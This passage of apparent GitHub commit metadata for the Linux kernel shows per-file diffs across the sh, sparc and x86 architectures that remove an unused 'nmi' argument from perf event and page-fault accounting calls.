address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \tflags = FAULT_FLAG_ALLOW_RETRY;\n \tif (access == VM_WRITE || (trans_exc_code & store_indication) == 0x400)\n \t\tflags |= FAULT_FLAG_WRITE;\n@@ -345,11 +345,11 @@ static inline int do_exception(struct pt_regs *regs, int access,\n \tif (flags & FAULT_FLAG_ALLOW_RETRY) {\n \t\tif (fault & VM_FAULT_MAJOR) {\n \t\t\ttsk->maj_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n \t\t} else {\n \t\t\ttsk->min_flt++;\n-\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t\t}\n \t\tif (fault & VM_FAULT_RETRY) {"}<_**next**_>{"sha": "8051976100a615b036f929154f7d50373d03db8c", "filename": "arch/sh/kernel/ptrace_32.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/kernel/ptrace_32.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/kernel/ptrace_32.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sh/kernel/ptrace_32.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -63,7 +63,7 @@ static inline int put_stack_long(struct task_struct *task, int offset,\n \treturn 0;\n }\n \n-void ptrace_triggered(struct perf_event *bp, int nmi,\n+void ptrace_triggered(struct perf_event *bp,\n \t\t struct perf_sample_data *data, struct pt_regs *regs)\n {\n \tstruct perf_event_attr attr;"}<_**next**_>{"sha": "d9006f8ffc142532d99b0ff539f88831f4027999", "filename": "arch/sh/kernel/traps_32.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/kernel/traps_32.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/kernel/traps_32.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sh/kernel/traps_32.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -393,7 +393,7 @@ int handle_unaligned_access(insn_size_t instruction, struct pt_regs *regs,\n \t */\n \tif (!expected) {\n \t\tunaligned_fixups_notify(current, instruction, regs);\n-\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1,\n \t\t\t regs, address);\n \t}\n "}<_**next**_>{"sha": "67110be83fd7239b963390942f7a2fa165fca59b", "filename": "arch/sh/kernel/traps_64.c", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/kernel/traps_64.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/kernel/traps_64.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sh/kernel/traps_64.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -434,7 +434,7 @@ static int misaligned_load(struct pt_regs *regs,\n \t\treturn error;\n \t}\n \n-\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, address);\n \n \tdestreg = (opcode >> 4) & 0x3f;\n \tif (user_mode(regs)) {\n@@ -512,7 +512,7 @@ static int misaligned_store(struct pt_regs *regs,\n \t\treturn error;\n \t}\n \n-\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, address);\n \n \tsrcreg = (opcode >> 4) & 0x3f;\n \tif (user_mode(regs)) {\n@@ -588,7 +588,7 @@ static int misaligned_fpu_load(struct pt_regs *regs,\n \t\treturn error;\n \t}\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, address);\n \n \tdestreg = (opcode >> 4) & 0x3f;\n \tif (user_mode(regs)) {\n@@ -665,7 +665,7 @@ static int misaligned_fpu_store(struct pt_regs *regs,\n \t\treturn error;\n \t}\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, address);\n \n \tsrcreg = (opcode >> 4) & 0x3f;\n \tif (user_mode(regs)) {"}<_**next**_>{"sha": "977195210653ede066d541f39e75ebb2745e55c6", "filename": "arch/sh/math-emu/math.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/math-emu/math.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/math-emu/math.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sh/math-emu/math.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -620,7 +620,7 @@ int do_fpu_inst(unsigned short inst, struct pt_regs *regs)\n \tstruct task_struct *tsk = current;\n \tstruct sh_fpu_soft_struct *fpu = &(tsk->thread.xstate->softfpu);\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n \tif (!(task_thread_info(tsk)->status & TS_USEDFPU)) {\n \t\t/* initialize once. */"}<_**next**_>{"sha": "7bebd044f2a1fc02f598c3293a358064784c2045", "filename": "arch/sh/mm/fault_32.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/mm/fault_32.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/mm/fault_32.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sh/mm/fault_32.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -160,7 +160,7 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs,\n \tif ((regs->sr & SR_IMASK) != SR_IMASK)\n \t\tlocal_irq_enable();\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \t/*\n \t * If we're in an interrupt, have no user context or are running\n@@ -210,11 +210,11 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs,\n \t}\n \tif (fault & VM_FAULT_MAJOR) {\n \t\ttsk->maj_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n \t} else {\n \t\ttsk->min_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t}\n "}<_**next**_>{"sha": "e3430e093d436d300bb1928ea4320ce230b1d632", "filename": "arch/sh/mm/tlbflush_64.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/mm/tlbflush_64.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sh/mm/tlbflush_64.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sh/mm/tlbflush_64.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -116,7 +116,7 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long writeaccess,\n \t/* Not an IO address, so reenable interrupts */\n \tlocal_irq_enable();\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \t/*\n \t * If we're in an interrupt or have no user\n@@ -200,11 +200,11 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long writeaccess,\n \n \tif (fault & VM_FAULT_MAJOR) {\n \t\ttsk->maj_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,\n \t\t\t\t regs, address);\n \t} else {\n \t\ttsk->min_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,\n \t\t\t\t regs, address);\n \t}\n "}<_**next**_>{"sha": "0b32f2e9e08d90b82f479f333423576a56257cef", "filename": "arch/sparc/kernel/perf_event.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/perf_event.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/perf_event.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/kernel/perf_event.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -1277,7 +1277,7 @@ static int __kprobes perf_event_nmi_handler(struct notifier_block *self,\n \t\tif (!sparc_perf_event_set_period(event, hwc, idx))\n \t\t\tcontinue;\n \n-\t\tif (perf_event_overflow(event, 1, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tsparc_pmu_stop(event, 0);\n \t}\n "}<_**next**_>{"sha": "7efbb2f9e77ff63d9a18be9f44f166cd04f05bda", "filename": "arch/sparc/kernel/unaligned_32.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/unaligned_32.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/unaligned_32.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/kernel/unaligned_32.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -247,7 +247,7 @@ asmlinkage void kernel_unaligned_trap(struct pt_regs *regs, unsigned int insn)\n \t\tunsigned long addr = compute_effective_address(regs, insn);\n \t\tint err;\n \n-\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, addr);\n+\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, addr);\n \t\tswitch (dir) {\n \t\tcase load:\n \t\t\terr = do_int_load(fetch_reg_addr(((insn>>25)&0x1f),\n@@ -338,7 +338,7 @@ asmlinkage void user_unaligned_trap(struct pt_regs *regs, unsigned int insn)\n \t\t}\n \n \t\taddr = compute_effective_address(regs, insn);\n-\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, addr);\n+\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, addr);\n \t\tswitch(dir) {\n \t\tcase load:\n \t\t\terr = do_int_load(fetch_reg_addr(((insn>>25)&0x1f),"}<_**next**_>{"sha": "35cff1673aa4ec320cd25fc86b660eb88cc28cb8", "filename": "arch/sparc/kernel/unaligned_64.c", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/unaligned_64.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/unaligned_64.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/kernel/unaligned_64.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -317,7 +317,7 @@ asmlinkage void kernel_unaligned_trap(struct pt_regs *regs, unsigned int insn)\n \n \t\taddr = compute_effective_address(regs, insn,\n \t\t\t\t\t\t ((insn >> 25) & 0x1f));\n-\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, addr);\n+\t\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, addr);\n \t\tswitch (asi) {\n \t\tcase ASI_NL:\n \t\tcase ASI_AIUPL:\n@@ -384,7 +384,7 @@ int handle_popc(u32 insn, struct pt_regs *regs)\n \tint ret, i, rd = ((insn >> 25) & 0x1f);\n \tint from_kernel = (regs->tstate & TSTATE_PRIV) != 0;\n \t \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \tif (insn & 0x2000) {\n \t\tmaybe_flush_windows(0, 0, rd, from_kernel);\n \t\tvalue = sign_extend_imm13(insn);\n@@ -431,7 +431,7 @@ int handle_ldf_stq(u32 insn, struct pt_regs *regs)\n \tint asi = decode_asi(insn, regs);\n \tint flag = (freg < 32) ? FPRS_DL : FPRS_DU;\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n \tsave_and_clear_fpu();\n \tcurrent_thread_info()->xfsr[0] &= ~0x1c000;\n@@ -554,7 +554,7 @@ void handle_ld_nf(u32 insn, struct pt_regs *regs)\n \tint from_kernel = (regs->tstate & TSTATE_PRIV) != 0;\n \tunsigned long *reg;\n \t \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n \tmaybe_flush_windows(0, 0, rd, from_kernel);\n \treg = fetch_reg_addr(rd, regs);\n@@ -586,7 +586,7 @@ void handle_lddfmna(struct pt_regs *regs, unsigned long sfar, unsigned long sfsr\n \n \tif (tstate & TSTATE_PRIV)\n \t\tdie_if_kernel(\"lddfmna from kernel\", regs);\n-\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, sfar);\n+\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, sfar);\n \tif (test_thread_flag(TIF_32BIT))\n \t\tpc = (u32)pc;\n \tif (get_user(insn, (u32 __user *) pc) != -EFAULT) {\n@@ -647,7 +647,7 @@ void handle_stdfmna(struct pt_regs *regs, unsigned long sfar, unsigned long sfsr\n \n \tif (tstate & TSTATE_PRIV)\n \t\tdie_if_kernel(\"stdfmna from kernel\", regs);\n-\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, 0, regs, sfar);\n+\tperf_sw_event(PERF_COUNT_SW_ALIGNMENT_FAULTS, 1, regs, sfar);\n \tif (test_thread_flag(TIF_32BIT))\n \t\tpc = (u32)pc;\n \tif (get_user(insn, (u32 __user *) pc) != -EFAULT) {"}<_**next**_>{"sha": "32b626c9d815601e445b0d47e76cc0ebbab84e75", "filename": "arch/sparc/kernel/visemul.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/visemul.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/kernel/visemul.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/kernel/visemul.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -802,7 +802,7 @@ int vis_emul(struct pt_regs *regs, unsigned int insn)\n \n \tBUG_ON(regs->tstate & TSTATE_PRIV);\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n \tif (test_thread_flag(TIF_32BIT))\n \t\tpc = (u32)pc;"}<_**next**_>{"sha": "aa4d55b0bdf0326370ec6d54a4759b04215d61cb", "filename": "arch/sparc/math-emu/math_32.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/math-emu/math_32.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/math-emu/math_32.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/math-emu/math_32.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -164,7 +164,7 @@ int do_mathemu(struct pt_regs *regs, struct task_struct *fpt)\n \tint retcode = 0; /* assume all succeed */\n \tunsigned long insn;\n \n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \n #ifdef DEBUG_MATHEMU\n \tprintk(\"In do_mathemu()... pc is %08lx\\n\", regs->pc);"}<_**next**_>{"sha": "e575bd2fe38167eadf61386b86df733807ef7ead", "filename": "arch/sparc/math-emu/math_64.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/math-emu/math_64.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/math-emu/math_64.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/math-emu/math_64.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -184,7 +184,7 @@ int do_mathemu(struct pt_regs *regs, struct fpustate *f)\n \n \tif (tstate & TSTATE_PRIV)\n \t\tdie_if_kernel(\"unfinished/unimplemented FPop from kernel\", regs);\n-\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, 0, regs, 0);\n+\tperf_sw_event(PERF_COUNT_SW_EMULATION_FAULTS, 1, regs, 0);\n \tif (test_thread_flag(TIF_32BIT))\n \t\tpc = (u32)pc;\n \tif (get_user(insn, (u32 __user *) pc) != -EFAULT) {"}<_**next**_>{"sha": "aa1c1b1ce5cc05ce4daa3f67161b565a1101ea4c", "filename": "arch/sparc/mm/fault_32.c", "status": "modified", "additions": 3, "deletions": 5, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/mm/fault_32.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/mm/fault_32.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/mm/fault_32.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -251,7 +251,7 @@ asmlinkage void do_sparc_fault(struct pt_regs *regs, int text_fault, int write,\n if (in_atomic() || !mm)\n goto no_context;\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \tdown_read(&mm->mmap_sem);\n \n@@ -301,12 +301,10 @@ asmlinkage void do_sparc_fault(struct pt_regs *regs, int text_fault, int write,\n \t}\n \tif (fault & VM_FAULT_MAJOR) {\n \t\tcurrent->maj_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n-\t\t\t regs, address);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, regs, address);\n \t} else {\n \t\tcurrent->min_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n-\t\t\t regs, address);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, regs, address);\n \t}\n \tup_read(&mm->mmap_sem);\n \treturn;"}<_**next**_>{"sha": "504c0622f7296c42bb09cae18bc487630e6344a4", "filename": "arch/sparc/mm/fault_64.c", "status": "modified", "additions": 3, "deletions": 5, "changes": 8, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/mm/fault_64.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/sparc/mm/fault_64.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/sparc/mm/fault_64.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -325,7 +325,7 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs)\n \tif (in_atomic() || !mm)\n \t\tgoto intr_or_no_mm;\n \n-\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, 0, regs, address);\n+\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);\n \n \tif (!down_read_trylock(&mm->mmap_sem)) {\n \t\tif ((regs->tstate & TSTATE_PRIV) &&\n@@ -433,12 +433,10 @@ asmlinkage void __kprobes do_sparc64_fault(struct pt_regs *regs)\n \t}\n \tif (fault & VM_FAULT_MAJOR) {\n \t\tcurrent->maj_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, 0,\n-\t\t\t regs, address);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, regs, address);\n \t} else {\n \t\tcurrent->min_flt++;\n-\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, 0,\n-\t\t\t regs, address);\n+\t\tperf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, regs, address);\n \t}\n \tup_read(&mm->mmap_sem);\n "}<_**next**_>{"sha": "5b86ec51534cf7fb5ad91edd59edeece14407a97", "filename": "arch/x86/kernel/cpu/perf_event.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/kernel/cpu/perf_event.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -1339,7 +1339,7 @@ static int x86_pmu_handle_irq(struct pt_regs *regs)\n \t\tif (!x86_perf_event_set_period(event))\n \t\t\tcontinue;\n \n-\t\tif (perf_event_overflow(event, 1, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tx86_pmu_stop(event, 0);\n \t}\n "}<_**next**_>{"sha": "d38b0020f77564f926da3104b275b1cefd6e9113", "filename": "arch/x86/kernel/cpu/perf_event_intel.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event_intel.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event_intel.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/kernel/cpu/perf_event_intel.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -1003,7 +1003,7 @@ static int intel_pmu_handle_irq(struct pt_regs *regs)\n \n \t\tdata.period = event->hw.last_period;\n \n-\t\tif (perf_event_overflow(event, 1, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tx86_pmu_stop(event, 0);\n \t}\n "}<_**next**_>{"sha": "0941f93f2940b3c51498b01de6f20c54a4737abc", "filename": "arch/x86/kernel/cpu/perf_event_intel_ds.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event_intel_ds.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event_intel_ds.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/kernel/cpu/perf_event_intel_ds.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -340,7 +340,7 @@ static int intel_pmu_drain_bts_buffer(void)\n \t */\n \tperf_prepare_sample(&header, &data, event, ®s);\n \n-\tif (perf_output_begin(&handle, event, header.size * (top - at), 1, 1))\n+\tif (perf_output_begin(&handle, event, header.size * (top - at), 1))\n \t\treturn 1;\n \n \tfor (; at < top; at++) {\n@@ -616,7 +616,7 @@ static void __intel_pmu_pebs_event(struct perf_event *event,\n \telse\n \t\tregs.flags &= ~PERF_EFLAGS_EXACT;\n \n-\tif (perf_event_overflow(event, 1, &data, ®s))\n+\tif (perf_event_overflow(event, &data, ®s))\n \t\tx86_pmu_stop(event, 0);\n }\n "}<_**next**_>{"sha": "d6e6a67b9608eae96b8751a145a57a65c3cb2327", "filename": "arch/x86/kernel/cpu/perf_event_p4.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event_p4.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/cpu/perf_event_p4.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/kernel/cpu/perf_event_p4.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -970,7 +970,7 @@ static int p4_pmu_handle_irq(struct pt_regs *regs)\n \n \t\tif (!x86_perf_event_set_period(event))\n \t\t\tcontinue;\n-\t\tif (perf_event_overflow(event, 1, &data, regs))\n+\t\tif (perf_event_overflow(event, &data, regs))\n \t\t\tx86_pmu_stop(event, 0);\n \t}\n "}<_**next**_>{"sha": "98da6a7b5e8223bc28465c4fecaf49a3e6a03ee2", "filename": "arch/x86/kernel/kgdb.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/kgdb.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/kgdb.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/kernel/kgdb.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -608,7 +608,7 @@ int kgdb_arch_init(void)\n \treturn register_die_notifier(&kgdb_notifier);\n }\n \n-static void kgdb_hw_overflow_handler(struct perf_event *event, int nmi,\n+static void kgdb_hw_overflow_handler(struct perf_event *event,\n \t\tstruct perf_sample_data *data, struct pt_regs *regs)\n {\n \tstruct task_struct *tsk = current;"}<_**next**_>{"sha": "11db2e9b860a7205112105d80e23d09f451bac52", "filename": "arch/x86/kernel/ptrace.c", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/ptrace.c", "raw_url": "https://github.com/torvalds/linux/raw/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/kernel/ptrace.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/arch/x86/kernel/ptrace.c?ref=a8b0ca17b80e92faab46ee7179ba9e99ccb61233", "patch": "@@ -528,7 +528,7 @@ static int genregs_set(struct task_struct *target,\n \treturn ret;\n }\n \n-static void ptrace_triggered(struct perf_event *bp, int nmi,\n+static void ptrace_triggered(struct perf_event *bp,\n \t\t\t struct perf_sample_data *data,\n \t\t\t struct pt_regs *regs)\n {"}<_**next**_>{"sha": "4d09df054e391822aa7a5e634a4ff2f4f8afabc0", "filename": "arch/x86/mm/fault.c", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/torvalds/linux/blob/a8b0ca17b80e92faab46ee7179ba9e99ccb61233/arch/x86/mm/fault.c", "raw_url": 